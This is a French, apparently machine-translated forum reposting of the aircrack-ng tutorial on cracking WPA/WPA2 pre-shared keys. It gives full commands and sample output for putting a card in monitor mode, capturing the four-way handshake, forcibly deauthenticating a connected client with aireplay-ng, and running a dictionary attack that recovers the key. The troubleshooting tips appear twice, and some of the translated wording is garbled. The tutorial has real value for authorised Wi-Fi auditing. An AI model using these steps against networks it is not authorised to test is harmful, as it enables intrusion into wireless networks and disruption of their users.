Lien:
[RÉPONDRE]
https://www.aircrack-ng.org/doku.php?id=cracking_wpa
vérifiez-vous d'utiliser les pilotes spécifiés sur le wiki. Selon le pilote, certaines anciennes versions ne capturent pas tous les paquets.
Idéalement, connectez et déconnectez un client sans fil normalement pour générer la poignée de main.
Si vous utilisez la technique de deauth, envoyez le minimum absolu de paquets pour amener le client à se réauthentifier. Normalement, il s'agit d'un seul paquet de mort. L'envoi d'un nombre excessif de paquets morts peut empêcher le client de se reconnecter et ne génère donc pas la prise de contact en quatre étapes. De plus, utilisez des morts diffusées et non diffusées. Pour confirmer que le client a reçu les paquets de désauthentification, utilisez tcpdump ou similaire pour rechercher les paquets ACK renvoyés par le client. Si vous n'avez pas reçu de paquet ACK, le client n'a pas « entendu » le paquet de désauthentification.
essayez d'arrêter la radio sur le poste client puis de la remplacer.
assurez-vous que vous n'exécutez aucun autre programme/processus qui pourrait interférer, comme les gestionnaires de connexion, Kismet, etc.
Passez en revue vos données sélectionnées à l'aide du didacticiel WPA Packet Capture Explained pour voir si vous pouvez identifier le problème. Tels que des paquets AP manquants, des paquets client manquants, etc.
Malheureusement, vous devez parfois essayer un peu pour que votre carte capture correctement la poignée de main à quatre voies. Le fait est que si vous ne l'obtenez pas la première fois, soyez patient et expérimentez un peu. Ça peut être fait !
Une autre approche consiste à utiliser Wireshark pour examiner et analyser votre capture de paquets. Cela peut parfois vous donner des indices sur ce qui ne va pas et donc quelques idées sur la façon de le corriger. Le didacticiel WPA Packet Capture Explained accompagne ce didacticiel et vous explique à quoi ressemble une connexion WPA "normale". Consultez également la FAQ pour obtenir des informations détaillées sur l'utilisation de Wireshark.
Dans un monde idéal, vous devriez utiliser un appareil sans fil dédié à la capture des paquets. Cela est dû au fait que certains pilotes tels que le pilote RTL8187L ne capturent pas les paquets que la carte elle-même envoie. De plus, utilisez toujours les versions de pilotes voulues sur le wiki. Cela est dû au fait que certaines versions plus anciennes des pilotes, telles que le pilote RT73, ne capturaient pas les paquets client.
Lors de l'utilisation de Wireshark, le filtre "eapol" affichera rapidement uniquement les paquets EAPOL. En fonction des paquets EAPOL présents dans la capture, déterminez votre plan de correction. Par exemple, s'il vous manque les paquets client, essayez de déterminer pourquoi et commentez collecter les paquets client.
Pour approfondir l'analyse des paquets, vous devez démarrer airodump-ng sans filtre BSSID et spécifier la capture du paquet complet, pas seulement des IV. Inutile de dire qu'il doit être verrouillé sur le canal AP. La raison de l'élimination du filtre BSSID est de s'assurer que tous les paquets, y compris les accusés de réception, sont visés. Avec un filtre BSSID, certains paquets sont supprimés de la capture.
Chaque paquet envoyé par le client ou le point d'accès doit faire l'objet d'un accusé de réception. Cela se fait avec un paquet "accusé de réception" qui a un MAC de destination de l'appareil qui a envoyé le paquet d'origine. Si vous essayez de désauthentifier un client, une chose à vérifier est que vous recevez le paquet "ack". Ceci confirme que le client a reçu le paquet de mort. L'absence de réception du paquet "ack" signifie probablement que le client est hors de portée de transmission. Donc raté.
Lorsqu'il s'agit d'analyser les captures de paquets, il est impossible de fournir des instructions détaillées. J'ai défini certaines techniques et domaines à examiner. C'est un domaine qui nécessite des efforts pour développer vos compétences à la fois sur WPA/WPA2 et sur l'utilisation de Wireshark.
aircrack-ng dit "0 poignées de main"
Cochez la case "Je ne peux pas capturer la poignée de main à quatre voies !" conseil de dépannage.
aircrack-ng indique "Aucune poignée de main WPA valide trouvée"
Cochez la case "Je ne peux pas capturer la poignée de main à quatre voies !" conseil de dépannage.
Étape 1a – Configuration de madwifi-ng
Arrêtez d'abord ath0 en entrant :airmon-ng stop ath0
Le système répond :
Pilote de jeu de puces d'interface
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent : wifi0) (VAP détruit)
Entrez "iwconfig" pour vous assurer qu'il n'y a pas d'autres interfaces athX. Cela devrait s'appliquer à ceci :
lo pas d'extensions sans fil.
eth0 pas d'extensions sans fil.
wifi0 pas d'extensions sans fil.
S'il reste des interfaces athX, arrêtez chacune d'entre elles. Lorsque vous avez terminé, validez "iwconfig" pour vous assurer qu'il n'en reste plus.
Maintenant, entrez la commande suivante pour démarrer la carte sans fil sur le canal 9 en mode moniteur :
airmon-ng démarrer wifi0 9
Remarque : Dans cette commande, nous utilisons "wifi0" au lieu de notre interface sans fil "ath0". C'est parce que les pilotes madwifi-ng sont utilisés.
Le système répondra :
Pilote de jeu de puces d'interface
wifi0 Atheros madwifi-ng
ath0 Atheros madwifi-ng VAP (parent : wifi0) (mode moniteur activé)
Vous remarquerez que "ath0" est signalé ci-dessus comme étant mis en mode moniteur.
Pour confirmer que l'interface est correctement configurée, entrez "iwconfig".
Le système répondra :
lo pas d'extensions sans fil.
wifi0 pas d'extensions sans fil.
eth0 pas d'extensions sans fil.
ath0 IEEE 802.11g ESSID :"" Nom :""
Mode : Moniteur Fréquence : 2,452 GHz Point d'accès : 00:0F:B5:88:AC:82
Débit binaire : 0 kb/s Tx-Power : 18 dBm Sensibilité = 0/3
Retry:off RTS thr:off Fragment thr:off
Clé de chiffrement : désactivée
Gestion de l'alimentation : désactivée
Qualité de la liaison = 0/94 Niveau du signal = -95 dBm Niveau sonore = -95 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Nombre excessif de tentatives de transmission :0 Misc non valide :0 Balise manquée :0
Dans la réponse ci-dessus, vous pouvez voir que ath0 est en mode moniteur, sur la fréquence 2 452 GHz qui est le canal 9 et le point d'accès affiche l'adresse MAC de votre carte sans fil. Seuls les pilotes madwifi-ng affichent l'adresse MAC de la carte dans le champ AP, les autres pilotes ne le font pas. Donc tout va bien. Il est important de confirmer toutes ces informations avant de continuer, sinon les étapes suivantes ne fonctionneront pas correctement.
Pour faire correspondre la fréquence au canal, consultez : http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 . Cela vous donnera la fréquence de chaque canal.
Étape 1b - Configuration des pilotes mac80211
Contrairement à madwifi-ng, vous n'avez pas besoin de supprimer l'interface wlan0 lors de la configuration des pilotes mac80211. Utilisez plutôt la commande suivante pour configurer votre carte en mode moniteur sur le canal 9 :airmon-ng démarrer wlan0 9
Le système répond :
Pilote de jeu de puces d'interface
wlan0 Broadcom b43 - [phy0]
(mode moniteur activé sur mon0)
Notez que airmon-ng a activé le mode moniteur sur mon0 . Ainsi, le nom d'interface correct à utiliser dans les parties ultérieures du didacticiel est mon0. Wlan0 est toujours en mode normal (géré) et peut être utilisé comme d'habitude, à condition que le point d'accès auquel wlan0 est connecté soit sur le même canal que le point d'accès que vous attaquez et que vous n'effectuiez aucun saut de canal.
Pour confirmer la réussite de l'installation, présenté "iwconfig". La sortie suivante devrait apparaître :
lo pas d'extensions sans fil.
eth0 pas d'extensions sans fil.
wmaster0 pas d'extensions sans fil.
wlan0 IEEE 802.11bg ESSID :""
Mode : Géré Fréquence : 2,452 GHz Point d'accès : Non associé
Tx-Puissance=0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Clé de chiffrement : désactivée
Gestion de l'alimentation : désactivée
Qualité de la liaison : 0 Niveau du signal : 0 Niveau de bruit : 0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Nombre excessif de tentatives de transmission :0 Misc non valide :0 Balise manquée :0
Mode mon0 IEEE 802.11bg : Fréquence du moniteur : 2,452 GHz Puissance Tx = 0 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Clé de chiffrement : désactivée
Gestion de l'alimentation : désactivée
Qualité de la liaison : 0 Niveau du signal : 0 Niveau de bruit : 0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Nombre excessif de tentatives de transmission :0 Misc non valide :0 Balise manquée :0
Ici, mon0 est vu comme étant en mode moniteur, sur le canal 9 (2 452 GHz). Contrairement à madwifi-ng, l'interface du moniteur n'a aucun champ Point d'accès. Notez également que wlan0 est toujours présent et en mode géré - c'est normal. Étant donné que les deux interfaces se séparent d'une radio commune, elles doivent toujours être syntonisées sur le même canal - changer le canal sur une interface changer également le canal sur l'autre.
Étape 1c - Configuration d'autres pilotes
Pour les autres pilotes (basés sur ieee80211), exécutez simplement la commande suivante pour activer le mode moniteur (remplacez rausb0 par le nom de votre interface) :airmon-ng start rausb0 9
Le système répond :
Pilote de jeu de puces d'interface
rausb0 Ralink rt73 (mode moniteur activé)
À ce stade, l'interface devrait être prête à être utilisée.
Étape 2 - Démarrer airodump-ng pour collecter la poignée de main d'authentification
Le but de cette étape est d'exécuter airodump-ng pour capturer la poignée de main d'authentification à 4 voies pour l'AP qui nous intéresse.Entrée :
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0
Où :
- -c 9 est le canal du réseau sans fil
- – -bssid 00:14:6C:7E:40:80 est l'adresse MAC du point d'accès. Cela éliminera le trafic superflu.
- -w psk est le préfixe du nom de fichier pour le fichier qui contient les IV.
- ath0 est le nom de l'interface.
Voici à quoi cela ressemble si un client sans fil est connecté au réseau :
CH 9 ][ Écoulé : 4 s ][ 2007-03-24 16:58 ][ Prise de contact WPA : 00:14:6C:7E:40:80
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 116 14 9 54 Nounours WPA2 CCMP PSK
BSSID STATION PWR Sondes de paquets perdus
00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116
Dans l'écran ci-dessus, notez le "WPA handshake: 00:14:6C:7E:40:80" dans le coin supérieur droit. Cela signifie que airodump-ng a réussi avec succès la poignée de main à quatre voies.
Le voici sans aucun client sans fil connecté :
CH 9 ][ Écoulé : 4 s ][ 2007-03-24 17:51
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:14:6C:7E:40:80 39 100 51 0 0 9 54 Nounours WPA2 CCMP PSK
BSSID STATION PWR Sondes de paquets perdus
Conseil de dépannage
Voir la section Conseils de dépannage ci-dessous pour des idées.Pour voir si vous avez des paquets de prise de contact, il existe deux façons. Regardez l'écran airodump-ng pour "WPA handshake: 00:14:6C:7E:40:80" dans le coin supérieur droit. Cela signifie qu'une poignée de main à quatre voies a été remarquée avec succès. Voir juste au-dessus pour un exemple de capture d'écran.
Utilisez Wireshark et appliquez un filtre de "eapol". Cela affiche uniquement les paquets eapol qui vous intéressent. Ainsi, vous pouvez voir si la capture contient 0, 1, 2, 3 ou 4 paquets eapol.
Étape 3 - Utilisez aireplay-ng pour désauthentifier le client sans fil
Cette étape est facultative. Si vous êtes patient, vous pouvez attendre que l'airodump capture une poignée de main lorsqu'un ou plusieurs clients se connectent au point d'accès. Vous n'effectuez que cette étape si vous avez d'accélérer le processus. L'autre contrainte est qu'il doit y avoir un client sans fil actuellement associé au point d'accès. S'il n'y a pas de client sans fil actuellement associé au point d'accès, vous devez être patient et attendre qu'un client se connecte au point d'accès afin qu'une poignée de main puisse être sollicitée. Inutile de dire que si un client sans fil apparaît plus tard et que airodump-ng n'a pas pu la poignée de main, vous pouvez revenir en arrière et effectuer cette étape.Cette étape envoie un message au client sans fil indiquant qu'il n'est plus associé au point d'accès. Le client sans fil s'authentifiera ensuite avec un peu de chance auprès du point d'accès. La réauthentification est ce qui a généré la poignée de main d'authentification à 4 voies que nous allons collecter. C'est ce que nous utilisons pour casser la clé pré-partagée WPA/WPA2.
Sur la base de la sortie de airodump-ng à l'étape précédente, vous déterminez un client actuellement connecté. Vous avez besoin de l'adresse MAC pour les éléments suivants. Ouvrez une autre session de console et enregistrez :
aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
Où :
- -0 signifie désauthentification
- 1 est le nombre de morts à envoyer (vous pouvez en envoyer plusieurs si vous le souhaitez)
- -a 00:14:6C:7E:40:80 est l'adresse MAC du point d'accès
- -c 00:0F:B5:FD:FB:C2 est l'adresse MAC du client que vous désauthez
- ath0 est le nom de l'interface
11:09:28 Envoi de DeAuth à la station -- STMAC : [00:0F:B5:34:30:30]
Avec de la chance, cela amène le client à se réauthentifier et à céder la poignée de main à 4 voies.
Des conseils de dépannage
- Les paquets de désauthentification sont envoyés directement de votre PC aux clients. Vous devez donc être suffisamment proche des clients pour que vos transmissions par carte sans fil les dépassent. Pour confirmer que le client a reçu les paquets de désauthentification, utilisez tcpdump ou similaire pour rechercher les paquets ACK renvoyés par le client. Si vous n'avez pas reçu de paquet ACK, le client n'a pas « entendu » le paquet de désauthentification.
Étape 4 - Exécutez aircrack-ng pour casser la clé pré-partagée
Le but de cette étape est de cracker la clé pré-partagée WPA/WPA2. Pour ce faire, vous avez besoin d'un dictionnaire de mots en entrée. Fondamentalement, aircrack-ng prend chaque mot et teste pour voir s'il s'agit en fait de la clé pré-partagée.Il existe un petit dictionnaire fourni avec aircrack-ng - "password.lst". Ce fichier se trouve dans le répertoire "test" du code source d'aircrack-ng. La FAQ Wiki contient une longue liste de sources de dictionnaires. Vous pouvez utiliser John the Ripper (JTR) pour générer votre propre liste et diriger vers aircrack-ng . L'utilisation de JTR en conjonction avec aircrack-ng dépasse le cadre de ce didacticiel.
Ouvrez une autre session de console et enregistrez :
aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap
Où :
- -w password.lst est le nom du fichier de dictionnaire. N'oubliez pas de spécifier le chemin complet si le fichier ne se trouve pas dans le même répertoire.
- *.cap est le nom du groupe de fichiers contenant les paquets proposés. Notez dans ce cas que nous avons utilisé le caractère générique * pour inclure plusieurs fichiers.
Ouverture de psk-01.cap
Ouverture de psk-02.cap
Ouverture de psk-03.cap
Ouverture de psk-04.cap
Lire 1827 paquets.
Aucune poignée de main WPA valide n'a été trouvée.
Lorsque cela se produit, vous devez soit refaire l'étape 3 (désauthentification du client sans fil), soit attendre plus longtemps si vous utilisez l'approche passive. Lorsque vous utilisez l'approche passive, vous devez attendre qu'un client sans fil s'authentifie auprès du point d'accès.
Voici une sortie typique lorsque des poignées de main sont trouvées :
Ouverture de psk-01.cap
Ouverture de psk-02.cap
Ouverture de psk-03.cap
Ouverture de psk-04.cap
Lire 1827 paquets.
# Cryptage BSSID ESSID
1 00:14:6C:7E:40:80 noms WPA (1 poignée de main)
Choix du premier réseau comme cible.
Maintenant, à ce stade, aircrack-ng commencera à tenter de casser la clé pré-partagée. Selon la vitesse de votre processeur et la taille du dictionnaire, cela peut prendre beaucoup de temps, voire des jours.
Voici à quoi ressemble le crackage réussi de la clé pré-partagée :
Aircrack-ng 0.8
[00:00:00] 2 clés testées (37,20 k/s)
CLÉ TROUVÉE ! [ 12345678 ]
Clé maîtresse : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E
B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD
Clé Transcient : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98
CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40
FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E
2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71
EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB
Des conseils de dépannage
Je ne peux pas capturer la poignée de main à quatre !
Il peut parfois être difficile de capturer la poignée de main à quatre. Voici quelques conseils de dépannage pour résoudre ce problème :- Votre carte moniteur doit être dans le même mode que le client et le point d'accès. Ainsi, par exemple, si votre carte était en mode "B" et que le client/AP utilisait le mode "G", vous ne captureriez pas la poignée de main. Ceci est particulièrement important pour les nouveaux points d'accès et clients qui peuvent être en mode "turbo" et/ou d'autres nouvelles normes. Certains pilotes vous permettent de caractériser le mode. De plus, iwconfig a une option "modulation" qui peut parfois être utilisée. Faites "man iwconfig" pour voir les options de "modulation". Pour information, 1, 2, 5.5 et 11Mbit sont 'b', 6, 9, 12, 18, 24, 36, 48, 54Mbit sont 'g'.
- Parfois, vous devez également régler la carte en mode moniteur sur la même vitesse. IE automatique, 1 Mo, 2 Mo, 11 Mo, 54 Mo, etc.
- assurez-vous que votre carte de capture est verrouillée sur le même canal que le point d'accès. Vous pouvez le faire en spécifiant "-c <channel of AP>" lorsque vous démarrez airodump-ng.
- vérifiez-vous qu'aucun gestionnaire de connexion n'est en cours d'exécution sur votre système. Cela peut changer de chaîne et/ou changer de mode à votre insu.
- Vous êtes suffisamment proche pour recevoir à la fois les paquets du point d'accès et du client sans fil. La force de la carte sans fil est généralement inférieure à la force du point d'accès.
- Inversement, si vous êtes trop près, les paquets reçus peuvent être corrompus et rejetés. Vous ne pouvez donc pas être trop proche.
- vérifiez-vous d'utiliser les pilotes spécifiés sur le wiki. Selon le pilote, certaines anciennes versions ne capturent pas tous les paquets.
- Idéalement, connectez et déconnectez un client sans fil normalement pour générer la poignée de main.
- Si vous utilisez la technique de deauth, envoyez le minimum absolu de paquets pour amener le client à se réauthentifier. Normalement, il s'agit d'un seul paquet de mort. L'envoi d'un nombre excessif de paquets morts peut empêcher le client de se reconnecter et ne génère donc pas la prise de contact en quatre étapes. De plus, utilisez des morts diffusées et non diffusées. Pour confirmer que le client a reçu les paquets de désauthentification, utilisez tcpdump ou similaire pour rechercher les paquets ACK renvoyés par le client. Si vous n'avez pas reçu de paquet ACK, le client n'a pas « entendu » le paquet de désauthentification.
- essayez d'arrêter la radio sur le poste client puis de la remplacer.
- assurez-vous que vous n'exécutez aucun autre programme/processus qui pourrait interférer, comme les gestionnaires de connexion, Kismet, etc.
- Passez en revue vos données sélectionnées à l'aide du didacticiel WPA Packet Capture Explained pour voir si vous pouvez identifier le problème. Tels que des paquets AP manquants, des paquets client manquants, etc.
Une autre approche consiste à utiliser Wireshark pour examiner et analyser votre capture de paquets. Cela peut parfois vous donner des indices sur ce qui ne va pas et donc quelques idées sur la façon de le corriger. Le didacticiel WPA Packet Capture Explained accompagne ce didacticiel et vous explique à quoi ressemble une connexion WPA "normale". Consultez également la FAQ pour obtenir des informations détaillées sur l'utilisation de Wireshark.
Dans un monde idéal, vous devriez utiliser un appareil sans fil dédié à la capture des paquets. Cela est dû au fait que certains pilotes tels que le pilote RTL8187L ne capturent pas les paquets que la carte elle-même envoie. De plus, utilisez toujours les versions de pilotes voulues sur le wiki. Cela est dû au fait que certaines versions plus anciennes des pilotes, telles que le pilote RT73, ne capturaient pas les paquets client.
Lors de l'utilisation de Wireshark, le filtre "eapol" affichera rapidement uniquement les paquets EAPOL. En fonction des paquets EAPOL présents dans la capture, déterminez votre plan de correction. Par exemple, s'il vous manque les paquets client, essayez de déterminer pourquoi et commentez collecter les paquets client.
Pour approfondir l'analyse des paquets, vous devez démarrer airodump-ng sans filtre BSSID et spécifier la capture du paquet complet, pas seulement des IV. Inutile de dire qu'il doit être verrouillé sur le canal AP. La raison de l'élimination du filtre BSSID est de s'assurer que tous les paquets, y compris les accusés de réception, sont visés. Avec un filtre BSSID, certains paquets sont supprimés de la capture.
Chaque paquet envoyé par le client ou le point d'accès doit faire l'objet d'un accusé de réception. Cela se fait avec un paquet "accusé de réception" qui a un MAC de destination de l'appareil qui a envoyé le paquet d'origine. Si vous essayez de désauthentifier un client, une chose à vérifier est que vous recevez le paquet "ack". Ceci confirme que le client a reçu le paquet de mort. L'absence de réception du paquet "ack" signifie probablement que le client est hors de portée de transmission. Donc raté.
Lorsqu'il s'agit d'analyser les captures de paquets, il est impossible de fournir des instructions détaillées. J'ai défini certaines techniques et domaines à examiner. C'est un domaine qui nécessite des efforts pour développer vos compétences à la fois sur WPA/WPA2 et sur l'utilisation de Wireshark.
aircrack-ng dit "0 poignées de main"
Cochez la case "Je ne peux pas capturer la poignée de main à quatre voies !" conseil de dépannage.aircrack-ng indique "Aucune poignée de main WPA valide trouvée"
Cochez la case "Je ne peux pas capturer la poignée de main à quatre voies !" conseil de dépannage.[/RÉPONDRE]
